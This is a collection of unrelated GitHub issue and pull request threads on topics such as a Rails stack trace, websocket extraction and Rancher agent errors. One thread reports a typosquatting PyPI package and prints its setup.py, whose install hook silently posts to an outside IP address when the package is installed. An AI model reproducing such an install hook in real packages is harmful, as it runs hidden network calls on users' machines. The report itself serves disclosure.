/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/postgresql_database_tasks.rb:6:in connection' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/postgresql_database_tasks.rb:15:in create'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:93:in create' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:102:in block in create_all'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:284:in block in each_local_configuration' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:280:in each_value'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:280:in each_local_configuration' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/tasks/database_tasks.rb:102:in create_all'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/activerecord-4.2.6/lib/active_record/railties/databases.rake:11:in block (3 levels) in <top (required)>' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:248:in block in execute'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:243:in each' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:243:in execute'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:187:in block in invoke_with_call_chain' /home/dale/.rbenv/versions/2.3.0/lib/ruby/2.3.0/monitor.rb:214:in mon_synchronize'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:180:in invoke_with_call_chain' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/task.rb:173:in invoke'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:150:in invoke_task' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:106:in block (2 levels) in top_level'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:106:in each' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:106:in block in top_level'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:115:in run_with_threads' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:100:in top_level'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:78:in block in run' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:176:in standard_exception_handling'
/home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/lib/rake/application.rb:75:in run' /home/dale/.rbenv/versions/2.3.0/lib/ruby/gems/2.3.0/gems/rake-11.1.2/bin/rake:33:in <top (required)>'
/home/dale/.rbenv/versions/2.3.0/bin/rake:23:in load' /home/dale/.rbenv/versions/2.3.0/bin/rake:23:in '
Couldn't create database for {"adapter"=>"postgresql", "encoding"=>"unicode", "pool"=>5, "timeout"=>5000, "database"=>"test"}


Extract src/websockets from Polykey to js-ws

Specification
The websockets domain in Polykey can be extracted out in order to be re-used inside PKE.
Initial usage will just wrap around ws. So no runtimeless support yet. We would later extract the functionality of ws to have runtimeless support.
Proper runtimeless support would need to support TLS too. This is also where we can investigate how to unify the TLS between all the IO libraries. It's possible that the entire state machine can be done in pure JS without involving Rust/C++, it might be fast enough. Doing this would a be separate thing.
Additional context

https://github.com/MatrixAI/Polykey/issues/541
https://github.com/MatrixAI/Polykey/issues/526

Tasks

Extract out src/websockets to js-ws
Implement the WebSocketStream muxing/demuxing on top of WebSocket connection
Ensure that library works in browser and also on nodejs.
Plan out the roadmap to support runtimeless operation (without ws)
Plan out the roadmap for unified TLS support - assuming runtimeless state machine is pure JS, then TLS operations would have to be exposed via JS routines too (this is necessary to support WSS)

https://github.com/MatrixAI/Polykey/pull/535#issuecomment-1679897131
https://github.com/MatrixAI/Polykey/pull/535#issuecomment-1679889245

The js-ws should have similar structure to https://github.com/MatrixAI/js-quic/tree/staging/src.

There are pending changes in https://github.com/MatrixAI/Polykey/pull/535 that affect WS. These should be extracted as well (or if it is merged by @tegefaulkes tomorrow).


Fix missing version comparison for RPMS, and include new distributions

Fixes #852 & #854
Changes required to add the new distributions , and the dropping of the architecture when running for a single platform, but with all dists bug.

/approve

/approve


Null Pointer Exception in the logs and agent keeps disconnecting

Rancher Version: v0.59.1
Docker Version: 1.9.1
OS: CoreOS 899.11.0
Steps to Reproduce: Added some hosts using the add custom host method and started a stack on them. After some time the hosts disconnect.
Results: The disconnect is due to the agent being unable to connect the host and stopping.
Expected: The host be able to connect to the server and keep running.
The logs on the server showing the timeframe. Time at which the stack was deployed and time of error can be seen in this. https://gist.github.com/sacheendra/bb2e67b074d1ca343046
The full log for the error can be seen in this. https://gist.github.com/sacheendra/e5fae8d0627ba0e02d70
The log of the agent on the host. https://gist.github.com/sacheendra/d9660739603b2bfac46a

Where and how are you creating your hosts?

The hosts are created on AWS using Terraform.
Here is the cloud-init passed to the hosts. https://gist.github.com/sacheendra/923c8d88ad56ede71cd8
Thank you for looking into this.

@sacheendra your service for rancher needs to be type oneshot.  The container you launch will immediately die and create the actual rancher-agent container.

@ibuildthecloud Can you explain that again? So, if i deploy a service in rancher, it will stop the rancher-agent container and start another one?

When we launch rancher/agent, we actually launch 3 containers. The first container launched immediately is stopped and a rancher-agent-state container is launched (and also stopped) and then finally the rancher/agent container is launched and remains running.

@sacheendra If you have further questions, please re-open or open a new issue.


Replace all of the deploy shell scripts with python

Catch all for all that work. Will go in phases.

if this happens as part of AWS seems good but otherwise p2!

AWS is in Python. Closing this. Azure is separate: https://github.com/civiform/civiform-staging-deploy


Update conda forge recipe after pypi package update for tvb-gdist

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


refactor move validator out of VOlapTableSink

Proposed changes
Move tuple validator and converter out of VOlapTableSink,
to improve abstraction and future code reuse.
Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall


added a landing page

This PR creates a landing page for the dms-view links. This is simply a markdown file which is converted into html and has a nested URL.
Here is what the landing page currently looks like (it would live at the URL https://jbloomlab.github.io/SARS-CoV-2-RBD-DMS/structures)

Next steps before this PR is merged

(necessary) the dms-view links need to be added and maybe the wording changed? This can be done by editing the markdown file structures.md
(not necessary but maybe nice) restructure the website slightly. Have jbloomlab.github.io/SARS-CoV-2-RBD-DMS be a landing page with links to either jbloomlab.github.io/SARS-CoV-2-RBD-DMS/heatmaps or jbloomlab.github.io/SARS-CoV-2-RBD-DMS/structures. This will necessitate updating the links to the heatmaps in the manuscript and in other places. Alternatively, adding a link from the interactive heatmaps to this dms-view landing page. I can handle this step if you tell me your preference.

dms-view links are added in the structures.md file!

@tylernstarr @skhilton:
I think this is a nice setup.
I'm adding a list of things that I think should be updated here before merging.

I like this current setup, I just think the main page can be heatmap and the instructions for that should also include mention of link to this. So URLs stay the same.

Markdown summary for actual dms-view:

The word "data" is plural, so should be "What data are shown here?"

I think the whole summary format of providing the entire paper title in huge font, followed by authors, followed by abstract takes up a lot of space before it gets to the point. I would suggest leading the summary with a succinct description of what is actually shown: the DMS data on the ACE2 bound RBD from SARS-CoV-2. Then just have links to the paper for more information on the experiments, and the stuff about what the various metrics mean.

For the description of the site metrics, you might just include simple explanations as well such as higher entropy means more tolerant to mutations, etc.

Landing pad page: I think it would be helpful to spend less time saying dms-view and more text with a plain language English summary of what the links actually show: interactive visualizations of the deep mutational scanning data on the protein structure. The landing page should probably definitely have a link to the paper.

@skhilton, maybe this cannot be programmed into the HTML, but is it possible to set up the landing pad so that each link opens in a new tab since the back button doesn't work with dms-view?

@tylernstarr , do you want to add more additional links to specific pre-formed views with short descriptions? Maybe not necessary, but a possibility. Certainly you could imagine views that highlight different sets of important sites if you think this is useful.

@jbloom, @tylernstarr: sounds good! Yes, we can have the links open in a new tab but this involves replacing the markdown syntax for links ([something](link-to-something)) with some gross looking html. So, it probably makes more sense for @tylernstarr to get the markdown structures page looking the way he wants and then I can go back in and change the links.
To bring in a comment mentioned in the google doc, you can definitely have links for each panel or view of a figure. For instances, here I recapitulated each panel of Juhye's paper: https://dms-view.github.io/docs/lee2019mapping/

I realized I don't know the timeline for submission and I am at an interview all day tomorrow. Here is an example of the html you need to have the links open in a new tab: https://raw.githubusercontent.com/dms-view/docs/master/lee2019mapping.md
I am still more than happy to do it if I am free but I don't want to hold anything up.

Thanks @skhilton. I agree with basic strategy of letting @tylernstarr firm up links, and then I can make links open in new browser in way you suggest.

Alright @jbloom, I addressed all of the tweaks across the dms-view landing pad, adding the link to dms-view in the interactive heatmap display, and updating the md annotations on the dms-view displays. Should be ready to format the links if you are able, and merge

@tylernstarr @jbloom: I have some time, I can do this right now

@tylernstarr: You can merge now.
I confirmed that all of the links work and I think I can tell that they are the correct residues (meaning I didn't mess up copy paste) for everything except for the antibody epitopes. If you could spot check those before (or after) the merge that would be great.
After you merge, I will also make sure that everything looks good on GitHub pages like it does on my local build


Feature Request - Integration with TokenMagic Macro for Card Placement

Description:
I would like to suggest a new feature for the Card Tokens module that would enhance the visual experience when placing cards on the canvas. It would be great if there was an option to define a TokenMagic macro that would be automatically activated when a card is placed.
The integration with TokenMagic would allow users to add captivating visual effects to their cards, such as dynamic animations, lighting effects, or particle effects.
I have attached a video that demonstrates how this integration could significantly enhance the visual appeal of the cards on the canvas. The addition of TokenMagic effects would provide an immersive and captivating experience for players.
Thank you for considering this feature request. I believe it would add a new dimension of creativity and excitement to the Card Tokens module.
https://github.com/xaukael/card-tokens/assets/4999783/98cd3d81-8b0d-4e30-8e55-fea18785ba9c

Not likely. As with the other issue, your specific goals can be achieved with a world script. Hook on createToken, check for
token.actor.flags.world?.card) and handle what you want to happen there.

e what you wa

Can you share a more detailed example to do this, please?

Something like this to default card tokens vision to false. I do not know what would need to be done with TokenMagic because I have never worked with it before, but it should be similar. The foundry discord have people to help with that sort of thing.
Hooks.on('preCreateToken', (token)=>{
  if (!token.actor.flags.world?.card) return;
  token.updateSource({vision:false});
});


For people that are using d3 with web components.

It is simply an import.html with the following content:
<script src="d3.min.js" charset="utf-8"></script>

When working with web components, every component that uses d3 will import it through:
<link rel="import" href="../d3/import.html">

This will prevent importing d3 more than once.

Sorry, but this feels like unnecessary baggage and I do not think it is appropriate to put it in the D3 repository. If people are using web components with D3, they should create their own import.html as needed.


Lora loading for bf16 and fp8, as separate models

Had to fix some bugs in the original lora loading code.
Outputs are here: https://replicate.com/replicate-internal/test-flux-dev-lora

bf16 lora loading works
For fp8 lora loading, the lora strength is much lower and I need to crank up lora_scale to 1.7 to match lora_scale 1.1 at bf16

Fusing and unfusing is also slightly lossy so the model slowly degrades over time. We could do something like what peft and add a new node that does the matmul on the fly, instead of fusing. But that would slow down inference. Curious if you have ideas @daanelson

Very excited for this PR.  Thanks for doing this!  I was looking for an H100 lora inference provider and this seems like it would do the trick.  I was curious as well if pricing for fast generations would be any different than per image because the GPU usage time is much less?

Hi, I was curious if this work is continuing on this PR?  I believe this should make flux dev lora inference fast enough that you'd gain a customer versus using Fal as they currently are a few seconds faster (but from my benchmarking, this should be faster in the end).  Happy to take on any tasks if you would like as well.


fix fix mac compile

Proposed changes
Issue Number: close #xxx

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

duplicate with #26155

same as #26155 , close this


Typosquatting package on PyPI

Following package doesn't do anything which just sends back a message "hacked".
import setuptools
from setuptools.command.install import install
import requests

class InstallCommand(install):
    def run(self):
        try:
            requests.post('http://<IP_ADDRESS>:8787/', data='hacked')
        except:
            pass
        install.run(self)

setuptools.setup(
    name="aiohttps",
    version="<IP_ADDRESS>",
    author="jack",
    description="request package",
    packages=[],
    cmdclass={
        'install': InstallCommand,
    }
)

https://pypi.org/project/aiohttps/

Thank you for the fast reply. Out of security research purposes, would you mind if I ask for a list of package names that has been prohibited already?


Cluster scoped stacks should be able to install cluster scoped CRDs

With the new simple resource class selection experience described in the design doc:

Providers, managed resources, and resource classes would be cluster scoped rather than namespaced.

The current infrastructure stacks have a valid reason to install cluster scoped CRDs now, which is currently blocked.
Initially we chose to block cluster scoped CRDs as a first attempt of the security model to be very restrictive. Details can be found in the design doc, but the relevant excerpts are here:

All CRDs the stack owns and depends on are expected to be namespace scoped CRDs. Access to cluster scoped CRDs will not be granted, even for Cluster Stacks.

… the allowed set of permissions and scope could be expanded, but we are intentionally starting now with a restrictive scope.
We will allow feedback and real use cases from the community to inform any decisions to potentially expand this security model.

We now have a valid use case that should drive the slight expansion the security model to allow cluster scoped CRDs to be installed by a cluster scoped stack.  Namespaced stacks should still not be allowed to install cluster scoped CRDs.
An initial (non compiling) fix for this can be found in this gist: https://gist.github.com/jbw976/7487710e00e93904f17ca2b86957f4e6
There's a few snags to work out in that fix, but I wanted to provide it as an optional starting point:

this func doesn’t return an error in its signature that is part of an interface, and the calling function doesn’t have context to know what type of stack install it’s working with. so some refactoring would be needed.
there’s not a const for “Namespaced” or “Cluster” stack permissions scope either, which is a bit undesirable.

This should be fixed in v0.4 since the simple resource class selection experience requires it.  @displague would it be possible for you to take a stab at fixing this in short order?  Thank you!


Specify known limitations more precisely

In MultiplexerTransform section of the readme, there is a Known Limitations section which reads:

Know limitations
The MultiplexerTransform does not support the MATCH and ALLSMALLER wildcards. The MultiplexerTransform does not support ServersideOutput.

For me this can mean one of two things:

When using the multiplexer we cannot use MATCH anywhere in your app, OR
We actually can use MATCH as long as that specific callback doesn't use the multiplexer (i.e. it has a unique Output).

Which is the correct reading?
Ditto for the other limitation about ServersideOutput, as well as the limitation for long_callback mentioned a few lines above the linked section.

The correct reading is (2). I should probably make that more clear in the docs :)

Docs have been updated.


Update README

Updates related to the unloadCss new functionality
ref: https://github.com/urish/angular-load/pull/31

Thanks again!


error run VD scraper

There was an error from the VS scraper (10min ago)
##[error]Process completed with exit code 1.

another error message also one hour ago but not before that

It looks like that VD actually now provides more data, so the scraper could be extended. That's why it fails.

Fixed with #368


Invalid escape sequence in core.py

Currently line 237 of core.py reads:
escaped_key = key.replace(".", "\.")
This syntax has been deprecated and Python 3.12 throws a SyntaxWarning. I believe the \. should be replaced to \\. to properly escape the backslash.
Relevant resource: https://stackoverflow.com/questions/77531208/python3-12-syntaxwarning-on-triplequoted-string-d-must-be-d

Hey @mmikita95 since you're working around these lines, can you please fix this small issue? Thanks

@ramedina86 A simple fix – decided to get it off the table today to keep things less cluttered in our issue list. A PR is ready for review.

Merged successfully.


⚠ ClamAV has degraded performance

In 06472fb, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 265 ms

Resolved: ClamAV performance has improved in 0529205 after 5 minutes.


[WIP]Try run Android SDK test on Azure

OLPEDGE-1774
Signed-off-by: Yaroslav Stefinko<EMAIL_ADDRESS>

obsolete


baetyl-1630 [New Feature] 创建app时hostpath支持type

Codecov Report

Merging #425 (e604277) into master (54c3757) will increase coverage by 0.03%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #425      +/-   ##
==========================================
+ Coverage   65.10%   65.13%   +0.03%
==========================================
  Files          91       91
  Lines        6665     6665
==========================================
+ Hits         4339     4341       +2
+ Misses       1701     1700       -1
+ Partials      625      624       -1

Impacted Files
Coverage Δ

plugin/link/httplink/httplink.go
71.42% <0.00%> (+3.57%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 54c3757...e604277. Read the comment docs.


Many articles create rss file too big

First of all, thank you for your work
I have migrated my blog https://elblogdelazaro.gitlab.io to org-static-blog.
I have many articles created and the feed it creates is very heavy (1.2 MB), could it be made that only the last ten blog entries are generated?
Thank you.

There is currently no functionality for limiting the scope of the RSS feed. But if you'd like to contribute a pull request, it shouldn't be too hard to implement a simple first-100-entries in org-static-blog-assemble-rss.
Even better would be support for paged feeds, but that would certainly be more effort.

There is currently no functionality for limiting the scope of the RSS feed. But if you'd like to contribute a pull request, it shouldn't be too hard to implement a simple first-100-entries in org-static-blog-assemble-rss.
Even better would be support for paged feeds, but that would certainly be more effort.

Thanks for answering
My knowledge of lisp is nil, otherwise I would have gladly contributed, I am simply an org.mode user.
So far I have solved it by manually editing the file.
Thank you very much for your work and your time. Cheers

Thanks for answering
My knowledge of lisp is nil, otherwise I would have gladly contributed, I am simply an org.mode user.
So far I have solved it by manually editing the file.
Thank you very much for your work and your time. Cheers


new select wrapper

ui component for new design. wrapper over select & input.
Implemented it for global transfer modal.
https://gallery.io/projects/MCHbtQVoQ2HCZfyN0ITInFtb/files/MCEJu8Y2hyDScUKnMG1qETPXk0_H_OMFTOk

when typing something else that is not number on amount, it breaks

@jarindr fixed the input non number issue


Fix seek_stress test papercut

Closes #873.

I think the readme should point to the test.sh script instead of [...]

Sure. I took a pass over the README.md, let me know what you think.


Neo-scan gitlab image pulling is giving Travis errors

Summary
Travis is having problems pulling gitlab neo-scan images
To Reproduce
Errors like the link above when Travis is testing/building
https://travis-ci.org/CityOfZion/neo-local/builds/459142996?utm_source=github_status&utm_medium=notification
Expected Behaviour
Travis should run correctly and give 0 return code
Docker
N/A
Docker Compose
N/A
Operating System
Travis Linux

Sometimes it had the following error
ERROR: unknown blob
This seems random

It seems i was problems from their side and all is corrected now


Add Copyright and License Text to configs and scripts

This commit:

updates existing Copyright Text from 2016 to 2017
adds the Copyright Text and License Text to all files

Tests done:

None, this only changes comments

@mdzz please review, then I'll add others

closing this PR, will do a larger one later


About support platform

Does your open source code support Windows system?

Hi, we haven't tested the code on the Windows system for now.
We suggest running the code on the linux system.
Thanks,
Bin

thanks for  your reply